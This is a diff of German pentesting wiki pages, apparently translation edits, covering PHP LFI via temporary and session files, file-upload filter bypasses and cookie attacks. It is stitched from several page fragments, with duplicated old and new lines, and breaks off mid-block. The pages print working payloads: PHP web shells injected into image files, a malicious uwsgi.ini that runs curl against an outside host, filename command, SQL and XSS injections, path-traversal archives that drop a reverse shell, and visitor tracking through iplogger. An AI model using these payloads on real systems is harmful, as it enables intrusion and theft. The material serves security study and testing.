Wenn eine **PHP**-Engine eine **POST-Anfrage** mit Dateien erhält, die gemäß RFC 1867 formatiert sind, erstellt sie temporäre Dateien, um die hochgeladenen Daten zu speichern. Diese Dateien sind entscheidend für die Handhabung von Datei-Uploads in PHP-Skripten. Die Funktion `move_uploaded_file` muss verwendet werden, um diese temporären Dateien an einen gewünschten Ort zu verschieben, wenn eine dauerhafte Speicherung über die Ausführung des Skripts hinaus erforderlich ist. Nach der Ausführung löscht PHP automatisch alle verbleibenden temporären Dateien.
|
||||
|
||||
> [!NOTE]
|
||||
> **Sicherheitswarnung: Angreifer, die sich der Position der temporären Dateien bewusst sind, könnten eine Local File Inclusion-Schwachstelle ausnutzen, um Code auszuführen, indem sie während des Uploads auf die Datei zugreifen.**
|
||||
> **Sicherheitswarnung: Angreifer, die sich der Position der temporären Dateien bewusst sind, könnten eine Local File Inclusion-Schwachstelle ausnutzen, um Code auszuführen, indem sie auf die Datei während des Uploads zugreifen.**
|
||||
|
||||
Die Herausforderung beim unbefugten Zugriff besteht darin, den Namen der temporären Datei vorherzusagen, der absichtlich randomisiert ist.
|
||||
Die Herausforderung für unbefugten Zugriff besteht darin, den Namen der temporären Datei vorherzusagen, der absichtlich randomisiert ist.
|
||||
|
||||
#### Ausnutzung auf Windows-Systemen
|
||||
|
||||
|
||||
@ -55,7 +55,7 @@ Beachten Sie, wie die **magic bytes von JPG** (`\xff\xd8\xff`) am Anfang der pha
|
||||
```bash
|
||||
php --define phar.readonly=0 create_phar.php
|
||||
```
|
||||
Und führen Sie den Befehl `whoami` aus, indem Sie den anfälligen Code mit folgendem missbrauchen:
|
||||
Und führen Sie den Befehl `whoami` aus, indem Sie den anfälligen Code mit: missbrauchen
|
||||
```bash
|
||||
php vuln.php
|
||||
```
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Grundlegende Informationen
|
||||
|
||||
Wenn Sie eine **Local File Inclusion** gefunden haben, auch wenn Sie **keine Sitzung** haben und `session.auto_start` auf `Aus` steht. Wenn **`session.upload_progress.enabled`** auf **`Ein`** steht und Sie die **`PHP_SESSION_UPLOAD_PROGRESS`** in den **Multipart-POST**-Daten bereitstellen, wird PHP die **Sitzung für Sie aktivieren**.
|
||||
Wenn Sie eine **Local File Inclusion** gefunden haben, auch wenn Sie **keine Sitzung** haben und `session.auto_start` auf `Aus` steht. Wenn **`session.upload_progress.enabled`** auf **`Ein`** steht und Sie die **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST**-Daten bereitstellen, wird PHP die **Sitzung für Sie aktivieren**.
|
||||
```bash
|
||||
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange'
|
||||
$ ls -a /var/lib/php/sessions/
|
||||
@ -21,11 +21,11 @@ In the last example the session will contain the string blahblahblah
|
||||
Beachten Sie, dass Sie mit **`PHP_SESSION_UPLOAD_PROGRESS`** **Daten innerhalb der Sitzung steuern** können. Wenn Sie Ihre Sitzungsdatei einfügen, können Sie einen Teil einfügen, den Sie kontrollieren (zum Beispiel einen PHP-Shellcode).
|
||||
|
||||
> [!NOTE]
|
||||
> Obwohl die meisten Tutorials im Internet empfehlen, `session.upload_progress.cleanup` aus Debugging-Gründen auf `Off` zu setzen, ist die Standardeinstellung von `session.upload_progress.cleanup` in PHP weiterhin `On`. Das bedeutet, dass Ihr Upload-Fortschritt in der Sitzung so schnell wie möglich bereinigt wird. Dies führt zu einer **Race Condition**.
|
||||
> Obwohl die meisten Tutorials im Internet empfehlen, `session.upload_progress.cleanup` aus Debugging-Gründen auf `Off` zu setzen, ist die Standardeinstellung von `session.upload_progress.cleanup` in PHP weiterhin `On`. Das bedeutet, dass Ihr Upload-Fortschritt in der Sitzung so schnell wie möglich bereinigt wird. Dies wird also **Race Condition** sein.
|
||||
|
||||
### Der CTF
|
||||
|
||||
Im [**originalen CTF**](https://blog.orange.tw/2018/10/), in dem diese Technik kommentiert wird, war es nicht genug, die Race Condition auszunutzen, sondern der geladene Inhalt musste auch mit dem String `@<?php` beginnen.
|
||||
Im [**originalen CTF**](https://blog.orange.tw/2018/10/), in dem diese Technik kommentiert wird, war es nicht genug, die Race Condition auszunutzen, sondern der geladene Inhalt musste auch mit der Zeichenfolge `@<?php` beginnen.
|
||||
|
||||
Aufgrund der Standardeinstellung von `session.upload_progress.prefix` wird unsere **SESSION-Datei mit einem lästigen Präfix** `upload_progress_` beginnen, wie zum Beispiel: `upload_progress_controlledcontentbyattacker`.
|
||||
|
||||
|
||||
@ -32,7 +32,7 @@ Weitere nützliche Erweiterungen:
|
||||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. Versuchen Sie, die Schutzmaßnahmen zu umgehen, indem Sie den **Erweiterungsparser** des Servers mit Techniken wie **Verdopplung** der **Erweiterung** oder **Hinzufügen von Junk**-Daten (**null** Bytes) zwischen den Erweiterungen täuschen. _Sie können auch die **vorherigen Erweiterungen** verwenden, um eine bessere Payload vorzubereiten._
|
||||
4. Versuchen Sie, die Schutzmaßnahmen **zu umgehen, indem Sie den Erweiterungsparser** des Servers mit Techniken wie **Verdopplung** der **Erweiterung** oder **Hinzufügen von Junk**-Daten (**null** Bytes) zwischen den Erweiterungen täuschen. _Sie können auch die **vorherigen Erweiterungen** verwenden, um eine bessere Payload vorzubereiten._
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
@ -44,7 +44,7 @@ Weitere nützliche Erweiterungen:
|
||||
5. Fügen Sie **eine weitere Schicht von Erweiterungen** zur vorherigen Überprüfung hinzu:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. Versuchen Sie, die **exec-Erweiterung vor der gültigen Erweiterung** zu platzieren und beten Sie, dass der Server falsch konfiguriert ist. (nützlich zur Ausnutzung von Apache-Misconfigurationen, bei denen alles mit der Erweiterung **_**.php**_**, aber nicht unbedingt mit .php** endet, Code ausführt):
|
||||
6. Versuchen Sie, die **exec-Erweiterung vor der gültigen Erweiterung** zu platzieren und beten Sie, dass der Server falsch konfiguriert ist. (nützlich zur Ausnutzung von Apache-Misconfigurationen, bei denen alles mit der Erweiterung **.php** ausgeführt wird, aber nicht unbedingt mit .php enden muss):
|
||||
- _ex: file.php.png_
|
||||
7. Verwenden von **NTFS-Alternativdatenstrom (ADS)** in **Windows**. In diesem Fall wird ein Doppelpunktzeichen “:” nach einer verbotenen Erweiterung und vor einer erlaubten eingefügt. Infolgedessen wird eine **leere Datei mit der verbotenen Erweiterung** auf dem Server erstellt (z.B. “file.asax:.jpg”). Diese Datei kann später mit anderen Techniken bearbeitet werden, z.B. mit ihrem kurzen Dateinamen. Das Muster “**::$data**” kann auch verwendet werden, um nicht leere Dateien zu erstellen. Daher kann das Hinzufügen eines Punktzeichens nach diesem Muster auch nützlich sein, um weitere Einschränkungen zu umgehen (z.B. “file.asp::$data.”)
|
||||
8. Versuchen Sie, die Dateinamenlimits zu brechen. Die gültige Erweiterung wird abgeschnitten. Und das bösartige PHP bleibt. AAA<--SNIP-->AAA.php
|
||||
@ -52,7 +52,7 @@ Weitere nützliche Erweiterungen:
|
||||
```
|
||||
# Linux maximal 255 Bytes
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 hier und Hinzufügen von .png
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 hier und .png hinzufügen
|
||||
# Laden Sie die Datei hoch und überprüfen Sie die Antwort, wie viele Zeichen sie zulässt. Angenommen 236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
@ -62,13 +62,13 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
|
||||
### Umgehung von Content-Type, Magic Number, Kompression & Größenänderung
|
||||
|
||||
- Umgehung der **Content-Type**-Überprüfungen, indem Sie den **Wert** des **Content-Type** **Headers** auf: _image/png_, _text/plain_, application/octet-stream_ setzen.
|
||||
- Umgehung der **Content-Type**-Überprüfungen, indem Sie den **Wert** des **Content-Type**-**Headers** auf: _image/png_, _text/plain_, application/octet-stream setzen.
|
||||
1. Content-Type **Wortliste**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- Umgehung der **Magic Number**-Überprüfung, indem Sie am Anfang der Datei die **Bytes eines echten Bildes** hinzufügen (verwirren Sie den _file_ Befehl). Oder führen Sie die Shell in die **Metadaten** ein:\
|
||||
- Umgehung der **Magic Number**-Überprüfung, indem Sie am Anfang der Datei die **Bytes eines echten Bildes** hinzufügen (verwirren Sie den _file_-Befehl). Oder führen Sie die Shell in die **Metadaten** ein:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` oder Sie könnten auch **die Payload direkt** in ein Bild einfügen:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- Wenn **Kompression** zu Ihrem Bild hinzugefügt wird, z.B. mit einigen Standard-PHP-Bibliotheken wie [PHP-GD](https://www.php.net/manual/fr/book.image.php), sind die vorherigen Techniken nicht nützlich. Sie könnten jedoch die **PLTE-Chunks** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**.
|
||||
- Wenn **Kompression zu Ihrem Bild hinzugefügt wird**, z.B. mit einigen Standard-PHP-Bibliotheken wie [PHP-GD](https://www.php.net/manual/fr/book.image.php), sind die vorherigen Techniken nicht nützlich. Sie könnten jedoch die **PLTE-Chunks** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**.
|
||||
- [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- Die Webseite könnte auch das **Bild** **verkleinern**, z.B. mit den PHP-GD-Funktionen `imagecopyresized` oder `imagecopyresampled`. Sie könnten jedoch die **IDAT-Chunks** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**.
|
||||
- [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
@ -93,7 +93,7 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
Wenn Sie versuchen, Dateien auf einen **PHP-Server** hochzuladen, [sehen Sie sich den **.htaccess**-Trick an, um Code auszuführen](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
|
||||
Wenn Sie versuchen, Dateien auf einen **ASP-Server** hochzuladen, [sehen Sie sich den **.config**-Trick an, um Code auszuführen](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
Die `.phar`-Dateien sind wie die `.jar` für Java, aber für PHP, und können **wie eine PHP-Datei** verwendet werden (indem sie mit PHP ausgeführt oder in ein Skript eingebunden werden...)
|
||||
Die `.phar`-Dateien sind wie die `.jar` für Java, aber für PHP, und können **wie eine PHP-Datei verwendet werden** (indem sie mit PHP ausgeführt oder in ein Skript eingefügt werden...)
|
||||
|
||||
Die `.inc`-Erweiterung wird manchmal für PHP-Dateien verwendet, die nur zum **Importieren von Dateien** verwendet werden, sodass jemand zu einem bestimmten Zeitpunkt **diese Erweiterung zur Ausführung** zulassen könnte.
|
||||
|
||||
@ -107,7 +107,7 @@ Wenn Sie eine XML-Datei auf einen Jetty-Server hochladen können, können Sie [R
|
||||
|
||||
Für eine detaillierte Untersuchung dieser Schwachstelle überprüfen Sie die ursprüngliche Forschung: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Remote Command Execution (RCE) Schwachstellen können in uWSGI-Servern ausgenutzt werden, wenn man die Möglichkeit hat, die `.ini`-Konfigurationsdatei zu ändern. uWSGI-Konfigurationsdateien nutzen eine spezifische Syntax, um "magische" Variablen, Platzhalter und Operatoren einzufügen. Besonders der '@' Operator, der als `@(filename)` verwendet wird, ist dafür gedacht, den Inhalt einer Datei einzufügen. Unter den verschiedenen unterstützten Schemas in uWSGI ist das "exec"-Schema besonders mächtig, da es das Lesen von Daten aus dem Standardausgang eines Prozesses ermöglicht. Diese Funktion kann für böswillige Zwecke wie Remote Command Execution oder Arbitrary File Write/Read manipuliert werden, wenn eine `.ini`-Konfigurationsdatei verarbeitet wird.
|
||||
Remote Command Execution (RCE) Schwachstellen können in uWSGI-Servern ausgenutzt werden, wenn man die Fähigkeit hat, die `.ini`-Konfigurationsdatei zu ändern. uWSGI-Konfigurationsdateien nutzen eine spezifische Syntax, um "magische" Variablen, Platzhalter und Operatoren einzufügen. Besonders der '@'-Operator, der als `@(filename)` verwendet wird, ist dafür gedacht, den Inhalt einer Datei einzufügen. Unter den verschiedenen unterstützten Schemas in uWSGI ist das "exec"-Schema besonders mächtig, da es das Lesen von Daten aus dem Standardausgang eines Prozesses ermöglicht. Diese Funktion kann für böswillige Zwecke wie Remote Command Execution oder Arbitrary File Write/Read manipuliert werden, wenn eine `.ini`-Konfigurationsdatei verarbeitet wird.
|
||||
|
||||
Betrachten Sie das folgende Beispiel einer schädlichen `uwsgi.ini`-Datei, die verschiedene Schemas zeigt:
|
||||
```ini
|
||||
@ -127,9 +127,9 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
Die Ausführung der Payload erfolgt während des Parsens der Konfigurationsdatei. Damit die Konfiguration aktiviert und geparst werden kann, muss der uWSGI-Prozess entweder neu gestartet werden (möglicherweise nach einem Absturz oder aufgrund eines Denial of Service-Angriffs) oder die Datei muss auf automatisches Neuladen eingestellt werden. Die Auto-Reload-Funktion, wenn aktiviert, lädt die Datei in festgelegten Intervallen neu, wenn Änderungen erkannt werden.
|
||||
Die Ausführung des Payloads erfolgt während des Parsens der Konfigurationsdatei. Damit die Konfiguration aktiviert und geparst werden kann, muss der uWSGI-Prozess entweder neu gestartet werden (möglicherweise nach einem Absturz oder aufgrund eines Denial of Service-Angriffs) oder die Datei muss auf automatisches Neuladen eingestellt werden. Die Auto-Reload-Funktion, wenn aktiviert, lädt die Datei in festgelegten Intervallen neu, wenn Änderungen erkannt werden.
|
||||
|
||||
Es ist entscheidend, die nachlässige Natur des Parsens der uWSGI-Konfigurationsdatei zu verstehen. Insbesondere kann die besprochene Payload in eine Binärdatei (wie ein Bild oder PDF) eingefügt werden, was den Umfang potenzieller Ausnutzung weiter erweitert.
|
||||
Es ist entscheidend, die nachsichtige Natur des Parsens der uWSGI-Konfigurationsdatei zu verstehen. Insbesondere kann der besprochene Payload in eine Binärdatei (wie ein Bild oder PDF) eingefügt werden, was den Umfang potenzieller Ausnutzung weiter erweitert.
|
||||
|
||||
## **wget File Upload/SSRF Trick**
|
||||
|
||||
@ -167,18 +167,18 @@ Beachten Sie, dass **eine andere Option**, an die Sie denken könnten, um diese
|
||||
|
||||
- Setzen Sie **filename** auf `../../../tmp/lol.png` und versuchen Sie, eine **Pfad Traversierung** zu erreichen.
|
||||
- Setzen Sie **filename** auf `sleep(10)-- -.jpg` und Sie könnten in der Lage sein, eine **SQL-Injection** zu erreichen.
|
||||
- Setzen Sie **filename** auf `<svg onload=alert(document.domain)>`, um ein XSS zu erreichen.
|
||||
- Setzen Sie **filename** auf `<svg onload=alert(document.domain)>`, um eine XSS zu erreichen.
|
||||
- Setzen Sie **filename** auf `; sleep 10;`, um einige Befehlsinjektionen zu testen (mehr [Befehlsinjektions-Tricks hier](../command-injection.md)).
|
||||
- [**XSS** beim Hochladen von Bild (svg) Dateien](../xss-cross-site-scripting/#xss-uploading-files-svg).
|
||||
- **JS** Datei **Upload** + **XSS** = [**Service Workers** Ausnutzung](../xss-cross-site-scripting/#xss-abusing-service-workers).
|
||||
- [**XXE in svg Upload**](../xxe-xee-xml-external-entity.md#svg-file-upload).
|
||||
- [**Open Redirect** durch Hochladen einer svg-Datei](../open-redirect.md#open-redirect-uploading-svg-files).
|
||||
- Versuchen Sie **verschiedene svg-Payloads** von [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*.
|
||||
- [Berühmte **ImageTrick** Schwachstelle](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/).
|
||||
- [**XSS** beim Hochladen von Bild (svg) Dateien](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||
- **JS** Datei **Upload** + **XSS** = [**Service Workers** Ausnutzung](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
- [**XXE in svg Upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
- [**Open Redirect** durch Hochladen einer svg-Datei](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- Versuchen Sie **verschiedene svg-Payloads** von [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
||||
- [Berühmte **ImageTrick** Schwachstelle](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- Wenn Sie **den Webserver anweisen können, ein Bild von einer URL abzurufen**, könnten Sie versuchen, eine [SSRF](../ssrf-server-side-request-forgery/) auszunutzen. Wenn dieses **Bild** auf einer **öffentlichen** Seite **gespeichert** wird, könnten Sie auch eine URL von [https://iplogger.org/invisible/](https://iplogger.org/invisible/) angeben und **Informationen von jedem Besucher stehlen**.
|
||||
- [**XXE und CORS** Umgehung mit PDF-Adobe Upload](pdf-upload-xxe-and-cors-bypass.md).
|
||||
- Speziell gestaltete PDFs für XSS: Die [folgende Seite zeigt, wie man **PDF-Daten injiziert, um JS-Ausführung zu erhalten**](../xss-cross-site-scripting/pdf-injection.md). Wenn Sie PDFs hochladen können, könnten Sie einige PDFs vorbereiten, die beliebiges JS gemäß den gegebenen Anweisungen ausführen.
|
||||
- Laden Sie den \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) Inhalt hoch, um zu überprüfen, ob der Server über ein **Antivirus** verfügt.
|
||||
- [**XXE und CORS** Umgehung mit PDF-Adobe Upload](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- Speziell gestaltete PDFs für XSS: Die [folgende Seite zeigt, wie man **PDF-Daten injiziert, um JS-Ausführung zu erhalten**](../xss-cross-site-scripting/pdf-injection.md). Wenn Sie PDFs hochladen können, könnten Sie einige PDFs vorbereiten, die beliebiges JS ausführen, gemäß den gegebenen Anweisungen.
|
||||
- Laden Sie den \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) Inhalt hoch, um zu überprüfen, ob der Server ein **Antivirus** hat.
|
||||
- Überprüfen Sie, ob es eine **Größenbeschränkung** beim Hochladen von Dateien gibt.
|
||||
|
||||
Hier ist eine Top-10-Liste von Dingen, die Sie durch Hochladen erreichen können (von [hier](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
@ -228,7 +228,7 @@ python2 evilarc.py -h
|
||||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
Zusätzlich ist der **Symlink-Trick mit evilarc** eine Option. Wenn das Ziel darin besteht, eine Datei wie `/flag.txt` anzuvisieren, sollte ein Symlink zu dieser Datei in Ihrem System erstellt werden. Dies stellt sicher, dass evilarc während seiner Ausführung keine Fehler auftritt.
|
||||
Zusätzlich ist der **Symlink-Trick mit evilarc** eine Option. Wenn das Ziel darin besteht, eine Datei wie `/flag.txt` anzuvisieren, sollte ein Symlink zu dieser Datei in Ihrem System erstellt werden. Dies stellt sicher, dass evilarc während seiner Operation keine Fehler auftritt.
|
||||
|
||||
Unten ist ein Beispiel für Python-Code, der verwendet wird, um eine bösartige Zip-Datei zu erstellen:
|
||||
```python
|
||||
|
||||
@ -12,15 +12,15 @@ Das Ablaufdatum eines Cookies wird durch das Attribut `Expires` bestimmt. Im Geg
|
||||
|
||||
### Domain
|
||||
|
||||
Die Hosts, die ein Cookie empfangen sollen, werden durch das Attribut `Domain` festgelegt. Standardmäßig ist dies auf den Host eingestellt, der das Cookie ausgegeben hat, ohne seine Subdomains einzuschließen. Wenn das Attribut `Domain` jedoch ausdrücklich festgelegt wird, umfasst es auch Subdomains. Dies macht die Spezifikation des Attributs `Domain` zu einer weniger restriktiven Option, die nützlich ist, wenn das Teilen von Cookies über Subdomains erforderlich ist. Zum Beispiel macht die Einstellung `Domain=mozilla.org` Cookies auf seinen Subdomains wie `developer.mozilla.org` zugänglich.
|
||||
Die Hosts, die ein Cookie empfangen, werden durch das Attribut `Domain` festgelegt. Standardmäßig ist dies auf den Host eingestellt, der das Cookie ausgegeben hat, ohne seine Subdomains einzuschließen. Wenn das Attribut `Domain` jedoch ausdrücklich festgelegt wird, umfasst es auch Subdomains. Dies macht die Spezifikation des Attributs `Domain` zu einer weniger restriktiven Option, die nützlich ist, wenn das Teilen von Cookies über Subdomains erforderlich ist. Zum Beispiel macht die Einstellung `Domain=mozilla.org` Cookies auf seinen Subdomains wie `developer.mozilla.org` zugänglich.
|
||||
|
||||
### Path
|
||||
|
||||
Ein spezifischer URL-Pfad, der in der angeforderten URL vorhanden sein muss, damit der `Cookie`-Header gesendet wird, wird durch das Attribut `Path` angezeigt. Dieses Attribut betrachtet das Zeichen `/` als Verzeichnistrenner, was Übereinstimmungen in Unterverzeichnissen ermöglicht.
|
||||
|
||||
### Reihenfolge der Regeln
|
||||
### Reihenfolge-Regeln
|
||||
|
||||
Wenn zwei Cookies denselben Namen tragen, wird das zum Senden gewählte Cookie basierend auf:
|
||||
Wenn zwei Cookies denselben Namen tragen, wird dasjenige, das zum Senden ausgewählt wird, basierend auf:
|
||||
|
||||
- Dem Cookie, das den längsten Pfad in der angeforderten URL übereinstimmt.
|
||||
- Dem zuletzt gesetzten Cookie, wenn die Pfade identisch sind.
|
||||
@ -59,8 +59,8 @@ Dies verhindert, dass der **Client** auf das Cookie zugreift (zum Beispiel über
|
||||
#### **Umgehungen**
|
||||
|
||||
- Wenn die Seite **die Cookies als Antwort** auf eine Anfrage sendet (zum Beispiel auf einer **PHPinfo**-Seite), ist es möglich, XSS auszunutzen, um eine Anfrage an diese Seite zu senden und **die Cookies** aus der Antwort zu **stehlen** (siehe ein Beispiel in [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
|
||||
- Dies könnte mit **TRACE** **HTTP**-Anfragen umgangen werden, da die Antwort des Servers die gesendeten Cookies widerspiegelt (wenn diese HTTP-Methode verfügbar ist). Diese Technik wird als **Cross-Site Tracking** bezeichnet.
|
||||
- Diese Technik wird von **modernen Browsern vermieden, indem das Senden einer TRACE**-Anfrage von JS nicht erlaubt wird. Einige Umgehungen wurden jedoch in spezifischer Software gefunden, wie das Senden von `\r\nTRACE` anstelle von `TRACE` an IE6.0 SP2.
|
||||
- Dies könnte mit **TRACE** **HTTP**-Anfragen umgangen werden, da die Antwort des Servers (wenn diese HTTP-Methode verfügbar ist) die gesendeten Cookies widerspiegelt. Diese Technik wird als **Cross-Site Tracking** bezeichnet.
|
||||
- Diese Technik wird von **modernen Browsern vermieden, indem das Senden einer TRACE**-Anfrage von JS nicht erlaubt wird. Einige Umgehungen dafür wurden jedoch in spezifischer Software gefunden, wie das Senden von `\r\nTRACE` anstelle von `TRACE` an IE6.0 SP2.
|
||||
- Eine andere Möglichkeit ist die Ausnutzung von Zero-Day-Sicherheitsanfälligkeiten der Browser.
|
||||
- Es ist möglich, **HttpOnly-Cookies** durch einen Cookie-Jar-Overflow-Angriff zu **überschreiben**:
|
||||
|
||||
@ -93,7 +93,7 @@ Eine der Schutzmaßnahmen von mit `__Host-` beginnenden Cookies besteht darin, s
|
||||
|
||||
<figure><img src="../../images/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Oder in PHP war es möglich, **andere Zeichen am Anfang** des Cookie-Namens hinzuzufügen, die durch Unterstrich-Zeichen **ersetzt** wurden, was es ermöglichte, `__HOST-` Cookies zu überschreiben:
|
||||
Oder in PHP war es möglich, **andere Zeichen am Anfang** des Cookie-Namens hinzuzufügen, die durch Unterstrich-Zeichen **ersetzt** werden sollten, was das Überschreiben von `__HOST-` Cookies ermöglichte:
|
||||
|
||||
<figure><img src="../../images/image (7) (1) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||
|
||||
@ -103,15 +103,15 @@ Wenn ein benutzerdefiniertes Cookie sensible Daten enthält, überprüfen Sie es
|
||||
|
||||
### Dekodierung und Manipulation von Cookies
|
||||
|
||||
Sensible Daten, die in Cookies eingebettet sind, sollten immer überprüft werden. Cookies, die in Base64 oder ähnlichen Formaten kodiert sind, können oft dekodiert werden. Diese Sicherheitsanfälligkeit ermöglicht es Angreifern, den Inhalt des Cookies zu ändern und sich als andere Benutzer auszugeben, indem sie ihre modifizierten Daten wieder in das Cookie kodieren.
|
||||
Sensible Daten, die in Cookies eingebettet sind, sollten immer überprüft werden. Cookies, die in Base64 oder ähnlichen Formaten codiert sind, können oft dekodiert werden. Diese Sicherheitsanfälligkeit ermöglicht es Angreifern, den Inhalt des Cookies zu ändern und sich als andere Benutzer auszugeben, indem sie ihre modifizierten Daten wieder in das Cookie codieren.
|
||||
|
||||
### Sitzungsübernahme
|
||||
|
||||
Dieser Angriff besteht darin, das Cookie eines Benutzers zu stehlen, um unbefugten Zugriff auf dessen Konto innerhalb einer Anwendung zu erlangen. Durch die Verwendung des gestohlenen Cookies kann sich ein Angreifer als legitimer Benutzer ausgeben.
|
||||
Dieser Angriff besteht darin, das Cookie eines Benutzers zu stehlen, um unbefugten Zugriff auf dessen Konto innerhalb einer Anwendung zu erlangen. Durch die Verwendung des gestohlenen Cookies kann ein Angreifer den legitimen Benutzer imitieren.
|
||||
|
||||
### Sitzungsfixierung
|
||||
|
||||
In diesem Szenario bringt ein Angreifer ein Opfer dazu, ein bestimmtes Cookie zum Anmelden zu verwenden. Wenn die Anwendung beim Anmelden kein neues Cookie zuweist, kann der Angreifer, der das ursprüngliche Cookie besitzt, das Opfer ausgeben. Diese Technik beruht darauf, dass das Opfer sich mit einem Cookie anmeldet, das vom Angreifer bereitgestellt wurde.
|
||||
In diesem Szenario bringt ein Angreifer ein Opfer dazu, ein bestimmtes Cookie zum Anmelden zu verwenden. Wenn die Anwendung beim Anmelden kein neues Cookie zuweist, kann der Angreifer, der das ursprüngliche Cookie besitzt, das Opfer imitieren. Diese Technik beruht darauf, dass das Opfer sich mit einem Cookie anmeldet, das vom Angreifer bereitgestellt wurde.
|
||||
|
||||
Wenn Sie ein **XSS in einer Subdomain** gefunden haben oder **eine Subdomain kontrollieren**, lesen Sie:
|
||||
|
||||
@ -157,7 +157,7 @@ setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value
|
||||
```
|
||||
Dies führt dazu, dass der Browser einen Cookie-Header sendet, der von jedem Webserver als ein Cookie mit dem Namen `a` und dem Wert `b` interpretiert wird.
|
||||
|
||||
#### Chrome-Bug: Unicode-Surrogat-Codepunkt-Problem
|
||||
#### Chrome-Fehler: Unicode-Surrogat-Codepunkt-Problem
|
||||
|
||||
In Chrome, wenn ein Unicode-Surrogat-Codepunkt Teil eines gesetzten Cookies ist, wird `document.cookie` beschädigt und gibt anschließend einen leeren String zurück:
|
||||
```js
|
||||
@ -171,23 +171,23 @@ Dies führt dazu, dass `document.cookie` einen leeren String ausgibt, was auf ei
|
||||
```
|
||||
